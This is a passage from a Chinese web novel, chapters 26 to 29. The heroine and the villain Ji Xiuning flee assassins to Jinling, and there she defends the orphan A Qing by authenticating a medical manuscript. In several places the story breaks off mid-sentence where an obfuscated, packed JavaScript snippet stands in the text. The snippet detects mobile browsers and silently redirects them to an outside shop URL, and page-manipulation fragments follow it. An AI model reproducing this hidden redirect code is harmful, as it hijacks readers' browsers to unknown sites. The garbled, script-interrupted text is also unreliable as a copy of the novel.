她一定不是心血来潮,一定有什么目的,只是这其中的原因,他怎么也想不到。 路元玉见他反应这么大,一时间也不敢乱动了,但嘴上仍不饶人。 “顾老,顾承嗣,你查不到吗?” “我查到的信息就是明面上那些,你是如何得知其它信息的?” 闻言,路元玉心神一僵。 糟糕,这段时间以来季修宁对她都格外的好相处,她说什么就是什么,让他一时间对他的防备心大大下降,此时他这么一说,路元玉才猛然记起,他可是大反派季修宁! 路元玉往旁边坐了坐,视线看向旁边:“我不知道,我就是觉得他很危险。我觉得如果让他知道了你的真实身份,我们一定会很麻烦的!” 正说着,外面忽然传来了破空声—— “嗖嗖嗖”几声想起,就有数支箭钉在他们马车上,有的直接穿过帘子,定在路元玉身后的车厢上。 两人对视一眼,幸好方才季修宁推了她一把,否则她现在肯定就死了。 路元玉眼神一凛,“不好,可能是、顾老,我们不能再在这里待下去了。” 季修宁眉眼凌厉,“那我们现在就出发去金陵。” - 宴会一结束,顾老派出去查探消息的暗探就回来了,这个暗探不禁将季修宁查得明明白白,还将路元玉的底细也都查了出来。 顾老一边听着暗探的汇报,手里一边将刚写好的祝词揉碎了。 “季修宁……他竟然还没死,真实让我意外,不过,他竟与之前大为不同。”顾老缓缓站起身,在原地踱了几步,看向原本路元玉的位置。 “怪不得小小年纪便有如此见地,原来是路公的女儿,没想到竟能被她逃出来。” 暗探跪在地上,“顾老,那我们怎么办?” 顾老沉吟一番,道:“季修宁还是不能留,至于这个路元玉……我写一封信,你去交给她。” 顾承嗣惜才爱才,不管那人是什么身份,只要有被他看重的地方,他都会培养。 路元玉在他看来是个好苗子,如果能好好培养,假以时日,一定能将他们的文化更好地传承下去。 但是她毕竟年纪还小,万一被有心人利用了未免太可惜,他要写信提醒一番。 - 这边路元玉和季修宁二人一边逃,一边来到了码 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095923|193966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,然而身后那些人还是穷追不舍,现在没有去往金陵的船只,他们只好找个地方躲了起来。 然而如果他们能躲躲得过,季修宁当初就不会落得那么惨的下场。 慢慢的他们身上开始负伤,季修宁有些体力不支。 他们藏在一个废弃的仓库里,路元玉拿出简易医疗箱给他包扎伤口。 季修宁脸色有些苍白,额间落下几滴汗珠,不细看根本看不出来他受伤了。 “是他们?” 季修宁气息微弱,两人挨得有些近,路元玉不着痕迹挪了挪,无声点了点头。 他眼神微暗,“因为我?” 路元玉将伤口包扎好,看向他,“对,不过你也别太自责,反正这件事早晚都会发生的。” 季修宁挑眉:“我自责?” 路元玉看着他,眼神充满疑问,“那不然呢?” 季修宁不语,片刻后忽然笑了一下,眼中透露出浓浓的占有欲,“我只是觉得,第一次和别人一起逃难,感觉还不错。” 路元玉:……这是什么调情新方式吗? 路元玉没忍住翻了个白眼,季修宁忽然攥住她的手腕,猛地将她往自己这边一拉。 下一秒,一只箭“嗖”的一声,插在了路元玉身后。 路元玉有些后怕地从他怀中坐起来,两人的目光一同落在那支箭上。 “这是……纸条?” 两人对视一眼,路元玉上前将箭拔下来,拿到纸条拆开来看。 “远离不祥之人可保平安。” 纸条上除了这一句话,再没有其他东西。 路元玉已经猜出来这是顾老好心给她的警告。 顾老现在还不知道她们是串通好的关系,还以为她是被季修宁骗了,所以才带着他。 路元玉眼中闪过一丝复杂。 然而季修宁在看到这纸条的一瞬间,眼中却布满一层寒霜。 “他是什么意思,让你离开我?”他阴沉沉的眸子死死盯着路元玉,仿佛只要她点一下头,他就要立刻将她杀死。 然而跟季修宁在一起待了这么长时间,路元玉大概也摸清了季修宁的性子。 他毕竟是反派,从小到现在见惯了背叛,也经历了足够多的背叛,他只是怕自己也背叛他而已。 思及此,路元玉拍了拍他肩膀,安抚道:“放心,我不会离开的,你忘了当初我跟你说过什么了?” 季修宁眼神微颤,想起了那天晚上他带着她离开伏波驿时,她说她们能够互相感应对方的生命状态,她们是天生注定的缘分。 当时他觉得自己被骗了,一怒之下想掐死她,然而到最后关头,不知为什么,他感觉心间一颤,最后放了她。 当时感觉没什么,现在再想起来那不就是意味着他们会同生共死吗? 季修宁默默重复了一遍“同生共死”这四个字,感觉心间溢起一抹奇异的感受。 然而不等他多想,他的手就被路元玉拉起,微凉的触感从他掌心传来,季修宁不自觉握紧。 路元玉有些惊讶,但没拒绝,而是起身带着他走了出去,“他们好像走了,我们也赶紧离开。” 不远处的船只慢慢停靠在岸,路元玉也顾不上这到底是开往哪里的船了,二话不说就拉着他跑了上去。 当前紧要关头是离开这里,离开顾老的势力范围,如果到了别的地方,大不了她们再重新买票去金陵就是了。 不过路元玉二人很幸运,正好这条船就是去往金陵的,于是两人找了个地方安顿下来,终于好好歇了一下。 只不过两人随身并没有带多少银子,买了两人的船票后所剩无几。在外她们又不愿意抛头露面修古董,只好在船上帮忙做些杂物,换些银子。 半个月后,两人终于到了金陵。 27. 第二十七章·《范汪方》 两人在长江码头下了船,转乘一艘小船到了金陵城内。 一连数日在船上的漂泊让两人都很疲惫,但穿过幽暗的水门洞后,眼前豁然开朗,城里繁华热闹的景象顿时像一幅画一样映入眼帘。 路元玉实在想下去走走,两人就就近下了船,脚踩在地上的一瞬间,路元玉感觉自己终于活了过来,整个人看上去都精神了不少。 她伸了伸懒腰,新奇地看着周围人来人往,迫不及待想先逛一圈。 季修宁站在她身后,拿着两人的小包袱,见她这样活泼有些哭笑不得。 “不是说累了吗?我们先找个地方歇脚,等明日再逛也来得及。” 路元玉在人群中穿梭的脚步顿住,想了想,点了点头。 一连在船上半个月,她连澡都没有洗过一次,每日都是用毛巾擦一擦,如今被他这么一提醒,确实感觉身上很不舒服。 “那走吧。”路元玉脚尖转了个方向,跟在季修宁身后。 两人这段时间熟悉了以后,路元玉有什么事都是要他去干,自己坐享其成。 以前季修宁有小厮跟随的时候,哪轮的到他做这种事,但如今做起来也是娴熟至极。 季修宁边走边看,最后选择了一个看上去差不多的客栈,两人刚要进去,却忽然听见不远处传来一些吵闹声。 两人停住脚步看过去。 路元玉好奇地问:“那边是怎么了?” 季修宁哪能不知道她的言外之意,便主动侧身,下巴微挑,“要不要过去看看?” 路元玉嘿嘿笑了声,拽着他的胳膊过去了。 一边走,一边认真听着旁边的人嘴里说的事情经过。 “阿青可怜哟……” “可不是?小小年纪就没了娘,和老父亲相依为命长了这么大,这才刚及笄一年,还没来得及嫁人,老父亲就死了,以后谁还敢要她?” “可别说以后了,阿青这姑娘被他们家盯上,哪还轮得到别人来娶她?” “也是……不过她父亲身体健康,怎么可能突然就死了,依我看,肯定是他们家做的手脚。” “嘘!这种话可不敢乱说!快走快走!” 路元玉越听,面色越沉。 她本来以为这原身就够惨了,没想到还有人比她更惨。 季修宁大概也听明白了,顿时没了继续过去的意思,便道:“又是这种戏码,没什么好看的,我们回去吧?” 路元玉闻言,拧眉看他,发现他确实兴趣缺缺,不想再走的样子。 他刚才看起来虽然沧桑了点,但绝对没有现在看起来阴沉,似乎是阿青的故事让他联想到了自己以前的遭遇,并不想再经历一遍。 路元玉这么想着,心里表示理解,但她又不想就这么眼睁睁看着一个女孩子被这么欺负。 她才刚及笄,一个十五岁的女孩子,在现代还在上初中。 路元玉虽然自认为自己冷血无情,不通情理,但有时候她又该死地心软。 她犹豫一番,道:“我想去看看,你不想看就先回去吧,我知道在哪个客栈,一会儿去找你。” 季修宁眉心微蹙,面露不解。 在他心里,路元玉和他是同一类人,他们没有良心,心思阴沉黑暗,冷漠无情,所以他不懂为什么她突然想去救这个女孩子。 对,季修宁并不认为她只是单纯去凑热闹,她过去肯定会做些什么。 但此时,他并不好奇,只是想快点离开这里。 于是意味不明地看了路元玉一眼后,转身离开了。 路元玉没想到他离开得这么果断,于是在他转身的那一刻,不自觉也跟上去两步,反应过来后才停下来,看着他隐入人群里。 前面的吵闹声隐隐约约传入耳中,路元玉作了一番心里抉择,最终还是走了过去。 没办法,她还是做不到见死不救。 快走两步,看到了前方不远处几个人在争执。 两个大男人将一个小姑娘逼得坐到了地上,凶神恶煞地将一卷书甩到小姑娘身上。 阿青身穿灰色的粗布短衫,头发只用一条绿色布条系住,此时因为被欺负,头发已经乱了,脸上布满灰尘,被泪水冲刷地有些狼狈。 阿青尽管坐在地上,但脊背依旧挺直,不服输地等着前面一看就不好惹的两名壮汉,脸上没有一丝惧意,只有满腔愤怒。 “我只有这一本,昨日就已经给了你们,今日为何还要来为难我?” 为首的壮汉很胖,笑起来脸上的肉一颤一颤的,让人看得直犯恶心,“没错你是给了,但你给了个假货,我们只能来找你说理了!” “你胡说!这是我们的传家宝,怎么可能是假的!” “你说是传家宝就是了?我还说我身上这衣服也是传家宝呢,我头上带的这发冠也是传家宝!” 胖男子和他后面带的人哄然大笑,阿青的脸色一阵青一阵白。 她紧咬牙关,“一手交钱一手交货,昨日我们的交易已经完成了,你也检查过,你说有问题就有问题了?” “嘿!”那名壮汉没想到阿青这么能说会道,一时间有些恼怒,“少废话!小爷我今天来可不是跟你调情的,只要你把真品给我,我立马就放你离开,但如果你拿不出来,我今天就带你去见我们老爷!” 他说完,后面的人上前,将阿青围了一圈,挡得死死的。 “你!我给你的那本《范汪方》就是真的!我何必骗你!”阿青被逼的实在没有办法,她将来龙去脉说了一遍又一遍,可没有一个人听她说了什么,好像他们这次来,就是专门为了把她抓回去。 “我爹祖上是范汪的侍药弟子,这本《范汪方》就是他的弟子们亲笔校正批注的稿本,一直传到我爹这一代。本来我爹说什么都不会让我将他卖掉,可是,我现在连给他买棺材的钱都没有,这才不得不卖了它。我又何必花钱去做个假的来糊弄你们!” 阿青说得泣涕横流,闻者悲伤,见者落泪。周围看戏的群众都看不下去了,出言劝阻。 “是啊,阿青是我们看着长大的,她这么好一个孩子,怎么会骗人呢。” “是不是有什么误会,阿青是个诚实的孩子,既然决定卖出去,肯定不会再耍什么心思。” 然而那名壮汉却没有丝毫动容的模样,反而有点不耐烦,脸上的表情更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100376|193966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加狠厉。 他瞪着周围的民众,恐吓道: “少废话!今天要是带不走阿青,我拿你们交差!” 顿时,刚才为阿青发声的村民都后退了几步,不再说话了。 倒是有几个青年才俊,气汹汹地为阿青打抱不平,但那几人都已经被壮汉的手下押在了一边,动弹不得。 阿青本来就伤心,此时就更难过了。 她不愿意连累别人,但是没有大家的帮助,她一个人根本逃不走,难道她真的要被他们带走,一辈子为奴为俾吗? 其实如果能厚葬父亲,让她当奴婢也没什么,只是父亲死的蹊跷,她不愿意再和张家有什么来往。 当初去典当行时,她不知道背后的买家是张家,否则说什么她都不会将那本《范汪方》卖出去的。 可是现在说什么都没有用了,除了哭,她好像什么都做不到。 虽然心里没了活下去的希望,但她一边哭,一边仍旧抬头寻找出路。 她希望能趁他们不注意,逃出去,哪怕只逃跑一两天,让他好好将父亲安葬以后再被抓住她也无怨无悔。 可能是皇天不负有心人,还真被她抓住了一个时机,有两个人在这里耗了太长时间有些累,再加上阿青又是一个女性,他们打定主意她不会从他们的包围圈中逃出来,便有些怠惰,歇了一会儿。 而就是这一会儿,阿青瞅准时机,抱着《范汪方》就窜了出来,不看路直直往路元玉这个方向跑来。 而就在她跑出来的下一秒,那些下人也都反应过来,连忙追了过来。 阿青平日里没有怎么锻炼身体,此时又惊又怕,一时不注意崴了脚,瞬间摔了下去—— 后面的人两三步就能追上来,阿青绝望地闭上了眼。 膝盖被擦破了,疼痛瞬间传遍四肢百骸,地上的灰尘呛了她满嘴,忍不住咳嗽起来。 后面骂骂咧咧的声音传来,阿青在地上趴着一动不敢动。 “狗娘养的东西!竟然敢跑?!兄弟们,把她给我抓回去!” 阿青单薄的肩膀一颤一颤的,像是刚被孵出来的小鸡仔颤颤巍巍时的样子,路元玉在一旁看得实在不忍心,于是上前一步,站在了阿青身前,挡住了那几个要来抓她的人。 “慢着。” 路元玉出现得很突兀,那几个小厮猛地停下来,差点撞到她身上。 他们站稳后,神色不善的打量了她几眼,放狠话道:“你干什么的?敢挡我们办事?” 路元玉冷笑一声:“你们又是干什么的,光天化日之下竟敢强抢民女?” “嘿你——” 那小厮见这个突然出现的女人竟敢阻拦,一言不合就想连带他一起捉回去。 旁边那个大块头见状,开口道:“等等。” 听见自家大哥叫停,领头的小厮只好停手,但一脸不解地看回去。 这大块头并不像他看上去那么无脑,他跟着自家少爷见识过不少有名有势的人,此时见路元玉身着不凡,担心不小心招惹到什么他们惹不起的大人物,便想好心说几句。 他笑着向路元玉这边走来,“这位姑娘,敢问您是?” 28. 第二十八章·阿青 路元玉冷着脸扯了扯嘴角,“就凭你也想打听本姑娘的名号?” 出门在外,身份都是自己给的。 既然他放软态度和自己说话,那自己就应该拿出相应的态度来回应他,以免让对方失望。 果然,壮汉闻言面色微变,看向路元玉的神情比刚才正经不少。 “这……在下是张府的管家,在下姓赵,敢问姑娘怎么称呼?” 路元玉瞥了他一眼:“我没工夫跟你在这里聊天,如果没什么事,这位姑娘,我就带走了。” 说着,一边弯腰,轻柔地将阿青扶了起来。 “慢着!”赵丰见状,连忙阻拦。 他今日的任务就是不管用什么办法,一定要将阿青带回去,好不容易磨了半天,要是被这个半路杀出来的女人带走,那他回去一定会被罚的。 路元玉慢慢将阿青扶起来,帮她清理灰尘,一边用余光观察着赵丰的动静,如果他有动手的预兆,那她们就立刻开跑。 赵丰装作为难地一拍大腿,叹了口气,“这位姑娘,您肯定是误会我们了,我们也不想这样,但实在是她可恶啊,竟然用赝品来欺骗我们!” “我们可是花了大价钱买的,被她这么一耽误,我们的事都被耽误了!我们也不为难她,就是想让她把真品交出来我们就放了她,可是这、好说歹说,她就是不给,我们没办法了才……” 他又叹了口气。 他以为路元玉就是一个普通世家出门历练的小姐,不懂什么人情世故,听他这么说应该能轻易糊弄过去。 本来他花费这么长时间跟阿青在这里耗着就是在演戏,虽说可能确实有点霸道,但若要告到官府去,他多少也占理,说出来好听些。 但是他没想到,路元玉可不是什么乖乖小姐,她是在开放的新世纪中长大的新青年,周围什么人都有,什么事都见过,像他这种小心思,路元玉不到一秒钟就能看穿。 于是路元玉问道:“你说是假的就是假的了?有什么证据吗?” 不管是古代还是现代,要想证明什么,证据都是不可或缺的道具。 赵丰猛的抬头,他没想到路元玉竟然会要证据,看来对方的身份真的不简单。 普通人哪懂得什么证据?肯定是世家大族培养起来的。 幸好他刚才没有轻举妄动,他松了一口气,但下一秒就感到更加头疼。 他哪里懂什么真真假假,都是老爷教他这么说的,老爷说是假的就是假的,但他怎么能就这样说出来? 赵丰强自镇定,嘴唇嚅嗫道:“这、这纸张,还有上面的笔记!对,若是真品,上面的字迹怎么可能如此潦草?!” 阿青此时已经缓过来了,她意识到自己真的被人救了,还是看上去比她强壮不到哪去的一个女人。 她内心感动万分,听到赵丰这么诋毁他们的传家宝,连忙开口辩驳道:“这就是真品!这是范先生的弟子们亲手所著,所以字迹不同很好理解。在几代后人的翻阅过程中,稍有批注和增改也未尝不可,你这么说它是假的,未免太过武断!” “嘿!这里有你说话的份没有?给我闭嘴!”赵丰刚才已经见识到阿青的嘴上功夫,担心被眼前这气质不凡的姑娘看出蹊跷,连忙怒道。 但此时他仍觉得今日他会把阿青带走,刚才只不过是凑巧罢了,这女人再怎么气质非凡也不会懂古玩这行里的门门道道的,他在张府这么多年,还没见过女人玩这个的。 一会儿她要是再问什么,自己胡乱编几句就好了。 这么想了一通,赵丰明显镇定下来,面上甚至带些喜色。 他今日能把事情办得这么漂亮,回去以后老爷一定会好好赏他的。 然而他又想错了,路元玉不仅懂,她还是专家。 她虽然不是专门玩古玩的,但经她手的古玩没有几千,也有大几百件了,在这么多年的耳濡目染以及刻苦学习中,她对古玩的见识早已超越了这个时代的大多数人。 毕竟她当时学的是历史上所有专家们集大成的作品,而这个时代的人资源就没有那么丰富了。 路元玉不语,只是将阿青怀中的那本《范汪方》拿起来细细观看。 这是一卷黄麻纸手卷,纸张纤维粗韧,帘纹明显,色泽沉黄,有多处虫蛀与水渍烟熏的痕迹。 路元玉解开仔细看着上面的文字,是工整的楷隶过渡体,纸业空白部分布满异色批注。 “纸张粗粝坚韧,确实是东晋时期特有的纸张。从墨色来看,此书的字迹和批注相差的时间不会很久,有些字迹都已经消失模糊,如果是仿品,很难仿出这个效果。” “而且虽然字迹潦草凌乱,但批注笔迹与正文一致,而且逻辑关系严密,我一个不懂医术的人都能理解其深意,一看就是作者反复推敲记下的。” “所以综上几点,这本手卷是真迹。” 路元玉声音淡淡的,却在众人之间引起轩然大波。 这个女人竟然懂古物之道?她讲的很有道理的样子。 众人看向路元玉皆是崇拜的眼神,而赵丰却突然有些慌了。 事情怎么不往他预想的方向发展呢?他方才想好的说辞全都用不上了! 他擦了擦额头的冷汗,道:“姑娘,这我就不懂了。我只知道我们家老爷让我带人回去,您若是想探讨古籍真假,不如同我回府,与我们家老爷说道说道?” 这还是路元玉穿书以来,第一次不用一来一回解释那么多东西就能把对方说住的,一时间她还有些小得意。 但并没有表现出来,路元玉扯着嘴角冷笑道:“所以不管我说它是真还是假,今日你必须都要把人带走对吗?” 此言一出,人群中本就不满张府的人抱怨地更加明显了,其实明眼人都知道这赵丰是在找借口,只是他们平民百姓不知该如何堵住他的嘴,如今路元玉的出现,正好帮他们出了一口恶气。 “啊呸,早就看你不顺眼了,要说抓人就抓人,还找什么借口!恶心死了!” 赵丰的脸青一阵白一阵,看着路元玉点头不是,不点头也不是。 如果不是担心惹了她背后的势力,会给老爷带来麻烦,他早就将她抓走了! 路元玉牵起阿青的手,眼神凌厉,“我倒是有个问题,阿青都已经把如此珍贵的东西卖给了你们,你们为何还要来找她的麻烦呢?一个孤女活着已经足够艰难,你们想把她抓回去,到底安的什么心思?” 赵丰双眼瞬时瞪大。 他虽然也疑惑过老爷为什么要让他这么做,不过并没有多想,只觉得老爷定是有自己的道理。但此时被路元玉这么一问,他脑中还真多了些什么心思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108640|193966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “不是、不是这样的!”赵丰连连摆头,“我们老爷说这是假的,要让请阿青姑娘回去当面对峙,不会对她做什么的!” 路元玉根本不听他在说什么,拉着阿青就要走,“既然如此,让你们老爷到来福客栈找我吧。” 说完,不等赵丰他们反应就离开了。 阿青被路元玉拉在手中,怀里捧着原本被卖出去的传家宝,一时间神情有些恍惚。 这么轻易她就得救了? 她看向旁边路元玉清冷秀丽的面容,心中涌起一抹巨大的暖意。 路元玉担心赵丰等人反应过来后追上她们,所以跑得很快。 两人跌跌撞撞跑到来福客栈的大厅后,两人才喘着气停下来。 路元玉带着阿青走到一个角落的位置坐下,叫来了店小二。 “给我们先上壶茶水,再上两荤两素一汤,你看着上就行。”路元玉看向阿青,“你有什么忌口的吗?” 阿青摇了摇头,然后猛然回过神来,有些慌忙道:“我不饿的,不用管我。” 路元玉见她惊慌不已,还要为别人考虑的样子,内心不禁充满怜爱,“没事,吃吧,不用担心钱。” 阿青犹豫一番,点了点头,“姐姐,今天谢谢你救了我,以后我会报答你的。” 阿青的眼神亮亮的,看得路元玉心里暖暖的。 但路元玉只是笑了笑,没有应声,因为她救了阿青是因为阿青值得被救,而不是为了贪图阿青的报答。 路元玉坐下后,目光在店里搜寻了一番,并没有看见季修宁的影子,心想他可能上楼休息了,便没有再想他,而是看向阿青,面色严肃了起来。 “你怎么得罪他们了?” 阿青闻言,充满斗志的眼神瞬间暗淡下来,甚至还增添了几分恨意,“我没有得罪他们,是他们主动害了我父亲。” 说完,她眼中又有泪花溢出,但被她狠狠抹去了。 “我父亲只是金陵城里一个不起眼的郎中,开了一家小小的医馆,以给人看病,收些草药钱谋生。几个月前……” 几个月前,张家人找到了阿青父亲吴敏,要他去给老夫人看病。吴敏看了之后发现老夫人的症状和《范汪方》上有一个病症非常相似,于是按照该方给老夫人抓了药。 老夫人久治不愈的顽疾就这么被治好了。 但是张家人不仅没有感谢吴敏,反而不知从哪里得知了他们家祖传的《范汪方》,张家人想出重金买下,吴敏不同意,第二天,他就死在了家里。 由于身上没有任何伤口和中毒迹象,所以被人认为是突然暴病身亡。 当天吴敏恰好派阿青去朋友家里送药,由于天色已晚,阿青在那人家里住了一夜,免此一难。 而就在昨天,阿青回来后发现了父亲的尸首,家里还被人翻过,顿时没了主心骨,就想要把东西卖了给父亲买棺材。 她去了好几个当铺,却只有一个当铺肯收,后来她才知道,那家当铺是张家名下的。 路元玉听阿青说完,心里大概明白了来龙去脉。 此时饭菜已经上来了,路元玉就拿起筷子给阿青夹了块肉,轻声道:“先吃饭,吃完饭我们再说别的。” 这时,桌子突然被人敲了敲。 “要吃饭怎么也不叫上我?” 29. 第二十九章·摆摊 路元玉顺着他的手看去,发现来人是季修宁。 他已经换了一身干净的衣服,但仍是低调的黑色套装,搭配上冷冰冰的表情,将同桌的阿青吓了一跳。 阿青连忙向路元玉投以求助的目光。 路元玉安抚地笑了笑,“不用害怕,他是我们的同伴,刚才有事不在。我们都姓李,你叫我们哥哥姐姐就好了。” 见阿青点头,路元玉放下心,向季修宁看去。 “我还以为你休息了,你方才去哪里了?” 季修宁清冷开口:“随便转了转,”他的目光落在阿青身上,隐晦地闪过一丝不悦,“你把她带回来做什么?” 路元玉:“方才情况紧急,我拉着她跑回来的。不过他们现在虽然没有追上来,不过我想这几天他们不会善罢甘休的。为了阿青的安全着想,我想让她这几日都跟着我们,你觉得呢?” 她虽然是这么想的,不过她觉得季修宁不一定会同意。 果然季修宁沉默了。 阿青见状,非常有眼力见地开口:“不用的姐姐,今天已经很麻烦你了,后面我会自己藏起来,不让他们发现的。” 看看,多懂事的孩子,路元玉此时非常庆幸自己将她带了回来,否则,还不知道阿青会遭受什么样的折磨。 路元玉知道季修宁可能有心结,她也不愿意逼他,但她实在又舍不下阿青,只好叹了口气,“先吃饭吧。” 然而季修宁面前少了一碗米饭,阿青见状,连忙去找店小二要饭去了。 - 与此同时,张府。 “混账!饭桶!” 张老爷得知赵丰并没有将人带回来,反而将已经得手的古方又送回去后,气得在家里发了好大一通脾气,屋子里能摔的东西都让他摔碎了。 “老爷饶命啊!我们本来进行得好好的,突然出来一个女人,我看她穿着不俗,才不敢轻举妄动,担心给老爷惹麻烦啊!” “滚!”张老爷走来走去仍觉不够解气,走到跪着的赵丰身边,狠狠踹下去一脚。 “让你抓个人都干不好,还能干什么?!一个女人都应付不了,留你何用?来人!” 赵丰从没见过老爷生这么大的气,一时间忘记了求饶,知道被人架起了胳膊,他才如梦方醒般猛地挣扎起来,什么都往外说。 “老爷饶命!老爷饶命啊!那个女人她不是普通人,她言谈举止不俗,一看就大户人家的小姐!她那些古籍经典之道,她也说的头头是道啊老爷!而且我搬出了咱们张府的名号,她也面色不改,一点也不害怕,恐怕她背景咱们真的惹不起啊!” 赵丰一顿鬼哭狼嚎,叫得张陉头疼不已。 他更生气地骂了起来:“蠢货!她一个妇道人家,身份再尊贵能比应天府府尹还尊贵?能比当今圣上还尊贵?你把我的古方给我弄丢了,现在给我拿回来!滚!” 他们张家以前是清贵世家,后来家道中落,祖宗们迫不得已开始经商,这几百年下来,他们家族积累了丰厚的家产,到了他父亲这一带,更是前所未有过的富足。 只是距离官场越来越远,他们盘踞在金陵,多亏了他给各大官员们送礼,维持人情往来,如果那女人真的有点身份,那稍微求一求府尹便可结束了,到时候一切尘埃落定,他还有什么好怕的? 可恶的这个贱奴,竟然如此无用,竟将古方又给送了回去! 张陉气得头昏,跌坐在扶倚上,差点一口气换不上来。 赵丰见老爷饶了自己,连忙连滚带爬起来谢罪,扭头就离开。 张陉:“先去领三十大板!” - 路元玉的光荣事迹如同风一样,很快传遍了金陵城中有心人的耳中。 城中一处宅院内,一名女子正在翻看记录册,听到这个消息后翻书的手微顿,嗓音泠泠,“是吗?看来我们要有好戏看了。” - “她想留就留,跟我有什么关系。”季修宁眼睑微垂,遮住了眼中神情。 路元玉看看阿青的背影,又看看季修宁口是心非的样子,方才心中紧张的情绪一扫而空。 她弯起眼睛,“好。不过不管她留还是不留,今天我已经把张府得罪了,张府你打听到了吧?听说很厉害,要是想在金陵长久住下去,我们得尽快打探一下关于他们的消息。” 季修宁抬眸,清冷的眼中闪过一丝笑意,“这么快就给我派任务了?” 路元玉也笑:“能者多劳嘛。” 她话刚落下,阿青就捧着一碗米饭回来了,小心翼翼地放在季修宁前面,一句话也没有说。 路元玉则把刚才他们的谈话告诉了她。 “……留不留你自己选择,但是我们都希望你先留下来,看看张府那边什么动静,等确定安全再走也不迟。” 阿青:“不用,真的不用。” 路元玉忍俊不禁:“不用害怕,他只是看上去比较凶,其实很好相处的。而且他也希望你留下。” 阿青看了眼沉默且冷冰冰的季修宁,真的吗?她不信。 但她也仔细想了想,如果自己就这么离开,肯定会再次被抓起来,说不定下场会更惨,今天这位姐姐的努力就全白费了。 思及此,她点了点头,眼中充满感激,“那就麻烦哥哥姐姐了,我以后会报答你们的。” 短短时间,路元玉就听她说了两次要报答的话,忽然察觉到点什么,便安慰道:“你没事就好了,说什么报答不报答的。快吃饭吧。” 晚上,阿青早早睡下了,路元玉敲响了季修宁的房门。 季修宁打开门后,看见来人是路元玉,眉宇间闪过一丝意外。 他让开身位,挑了挑眉,“有事?” 路元玉一边往里走,一边提着一坛酒向他示意了下,“没事就不能来了?” 季修宁关上门,跟在路元玉身后,嘴硬道:“无事不登三宝殿。” 路元玉不跟他一般见识,自顾自将酒坛拆封:“路上累了半个月,本以为来了以后能好好休息一下,没想到马不停蹄就有新的事情发生。今天喝点酒好好睡一觉,明天我们还要早起呢。” 季修宁会意,也走到桌边坐了下来,看着路元玉忙活的样子,丝毫没有动手的意思。 路元玉给两人都倒上一杯酒,递给季修宁一杯,然后状似无意地盯着他看了一会儿。 季修宁接过酒杯,拿起来在手中晃了一下,浅啄了一口。 “你有什么计划?” 路元玉点点头:“方才吃完晚饭我在下面坐了一会儿,打听到张府在金陵城内是个响当当的人物,我们要对付他不容易,所以要尽快出手。” 季修宁一向清冷的眼尾处带上些笑意:“你想怎么做?” “引蛇出洞。”路元玉面色认真两分,食指沾了些酒液在木桌上写写画画:“明天我们……” 季修宁一边听,一边时不时点头。 末了,路元玉抬起头问他:“你觉得怎么样?” 季修宁大方的点头:“挺好的。” 路元玉闻言,唇边扬起一抹笑,还没来得及说什么,就又听他补充道:“就是有点麻烦。” 路元玉不满道:“那你想怎么做?” 季修宁:“我们这次来金陵的目的主要有两个,一个是潜鳞,一个是你的家事。前者我认为越快越好,省的中间出些什么差错。” 路元玉:“所以你又不打算帮忙了?” 季修宁摇摇头:“稍微加快一点速度。” 两人又计划了一番,临走前,路元玉仍频频看向季修宁,却始终有些话好像没说出来。 季修宁早就察觉到了,不在装作没看到,而是直接开口道:“你想问什么就问。” 路元玉早就想问了,但一直没好意思开口,也不知该怎么开口。 有季修宁这句话在,她壮着胆子开口道:“你今天……还好吗?” 话刚问出口,路元玉就感觉自己脸颊两边迅速烧了起来。 很奇怪,她以前关心过很多人,也说过很多句类似的话,但没有哪一次能让她这么犹豫,让她心跳的这么迅速。 暗暗深呼吸,路元玉将这种现象归结为酒后神志不清,还有个原因可能是自己对季修宁产生了心疼的情绪。 上一次季修宁对她显露出脆弱是在过年的时候,那时候他的反常对她来说没有丝毫影响,她并不是很上心。 但今天季修宁并没有什么反常举动,只是不愿意去看“热闹”,就让她开始担忧。 自从她将阿青带回来,她一直在有意无意观察着季修宁的行为动作和态度,发现他除了比前几天更加沉默一点,看起来更加不好接触一点意外,没什么大的变化。 甚至这些根本谈不上什么变化,在认识她之前,他甚至比现在更冷漠,她见过他冷漠杀人的样子,现在这个状态,不知道比之前好了多少倍,但路元玉就是感觉,有什么地方不一样了。 有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 